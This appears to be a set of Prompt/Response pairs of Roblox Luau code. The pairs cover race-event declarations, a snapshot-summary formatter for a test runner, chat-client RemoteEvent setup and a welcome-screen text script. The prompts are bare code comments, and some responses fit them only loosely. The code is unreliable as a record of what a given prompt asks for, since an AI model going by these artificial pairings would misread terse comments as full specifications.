local onLapFinishedEvent = Instance.new("BindableEvent")
RaceModule.LapFinished = onLapFinishedEvent.Event

local onIntermissionStartedEvent = Instance.new("BindableEvent")
RaceModule.IntermissionStarted = onIntermissionStartedEvent.Event

local onCheckpointPassedEvent = Instance.new("BindableEvent")
RaceModule.CheckpointPassed = onCheckpointPassedEvent.Event


Prompt: -- ROBLOX deviation END

Response:
exports.default = function(snapshots: SnapshotSummary, globalConfig: Config_GlobalConfig, updateCommand: string)
	local summary = {}
	table.insert(summary, SNAPSHOT_SUMMARY("Snapshot Summary"))

	if Boolean.toJSBoolean(snapshots.added) then
		table.insert(
			summary,
			SNAPSHOT_ADDED(ARROW .. pluralize("snapshot", snapshots.added) .. " written ")
				.. "from "
				.. pluralize("test suite", snapshots.filesAdded)
				.. "."
		)
	end

	if Boolean.toJSBoolean(snapshots.unmatched) then
		table.insert(
			summary,
			FAIL_COLOR(ARROW .. pluralize("snapshot", snapshots.unmatched) .. " failed")
				.. " from "
				.. pluralize("test suite", snapshots.filesUnmatched)
				.. ". "
				.. SNAPSHOT_NOTE("Inspect your code changes or " .. updateCommand .. " to update them.")
		)
	end

	if Boolean.toJSBoolean(snapshots.updated) then
		table.insert(
			summary,
			SNAPSHOT_UPDATED(ARROW .. pluralize("snapshot", snapshots.updated) .. " updated ")
				.. "from "
				.. pluralize("test suite", snapshots.filesUpdated)
				.. "."
		)
	end

	if Boolean.toJSBoolean(snapshots.filesRemoved) then
		if snapshots.didUpdate then
			table.insert(
				summary,
				SNAPSHOT_REMOVED(ARROW .. pluralize("snapshot file", snapshots.filesRemoved) .. " removed ")
					.. "from "
					.. pluralize("test suite", snapshots.filesRemoved)
					.. "."
			)
		else
			table.insert(
				summary,
				OBSOLETE_COLOR(ARROW .. pluralize("snapshot file", snapshots.filesRemoved) .. " obsolete ")
					.. "from "
					.. pluralize("test suite", snapshots.filesRemoved)
					.. ". "
					.. SNAPSHOT_NOTE(
						"To remove "
							.. (if snapshots.filesRemoved == 1 then "it" else "them all")
							.. ", "
							.. updateCommand
							.. "."
					)
			)
		end
	end

	if snapshots.filesRemovedList and #snapshots.filesRemovedList > 0 then
		local head = snapshots.filesRemovedList[1]
		local tail = table.pack(table.unpack(snapshots.filesRemovedList, 2))
		table.insert(summary, "  " .. DOWN_ARROW .. " " .. DOT .. formatTestPath(globalConfig, head))
		Array.forEach(tail, function(key)
			table.insert(summary, "    " .. DOT .. formatTestPath(globalConfig, key))
		end)
	end

	if Boolean.toJSBoolean(snapshots.unchecked) then
		if snapshots.didUpdate then
			table.insert(
				summary,
				SNAPSHOT_REMOVED(ARROW .. pluralize("snapshot", snapshots.unchecked) .. " removed ")
					.. "from "
					.. pluralize("test suite", #snapshots.uncheckedKeysByFile)
					.. "."
			)
		else
			table.insert(
				summary,
				OBSOLETE_COLOR(ARROW .. pluralize("snapshot", snapshots.unchecked) .. " obsolete ")
					.. "from "
					.. pluralize("test suite", #snapshots.uncheckedKeysByFile)
					.. ". "
					.. SNAPSHOT_NOTE(
						"To remove "
							.. (if snapshots.unchecked == 1 then "it" else "them all")
							.. ", "
							.. updateCommand
							.. "."
					)
			)
		end
	end

	Array.forEach(snapshots.uncheckedKeysByFile, function(uncheckedFile)
		table.insert(summary, "  " .. DOWN_ARROW .. formatTestPath(globalConfig, uncheckedFile.filePath))

		Array.forEach(uncheckedFile.keys, function(key)
			table.insert(summary, "    " .. DOT .. key)
		end)
	end)

	return summary
end

return exports


Prompt:
--// This section of code waits until all of the necessary RemoteEvents are found in EventFolder.
--// I have to do some weird stuff since people could potentially already have pre-existing
--// things in a folder with the same name, and they may have different class types.
--// I do the useEvents thing and set EventFolder to useEvents so I can have a pseudo folder that
--// the rest of the code can interface with and have the guarantee that the RemoteEvents they want
--// exist with their desired names.

Response:
local FILTER_MESSAGE_TIMEOUT = 60

local RunService = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Chat = game:GetService("Chat")
local StarterGui = game:GetService("StarterGui")

local DefaultChatSystemChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local EventFolder = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants"))
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local messageCreatorModules = clientChatModules:WaitForChild("MessageCreatorModules")
local MessageCreatorUtil = require(messageCreatorModules:WaitForChild("Util"))

local ChatLocalization = nil
pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization) end)
if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end

local numChildrenRemaining = 10 -- #waitChildren returns 0 because it's a dictionary
local waitChildren =
{
	OnNewMessage = "RemoteEvent",
	OnMessageDoneFiltering = "RemoteEvent",
	OnNewSystemMessage = "RemoteEvent",
	OnChannelJoined = "RemoteEvent",
	OnChannelLeft = "RemoteEvent",
	OnMuted = "RemoteEvent",
	OnUnmuted = "RemoteEvent",
	OnMainChannelSet = "RemoteEvent",

	SayMessageRequest = "RemoteEvent",
	GetInitDataRequest = "RemoteFunction",
}


Prompt: --  Please read the help script before editing below, unless you know what you're doing!

Response:
local PlayerName = game.Players.LocalPlayer.Name
local GameName = game.Name
local CreatorName = game.CreatorId

script.Parent.Title1.Text = 'Hello, '..PlayerName..'!'
script.Parent.Title2.Text = 'Welcome to '..GameName..'!'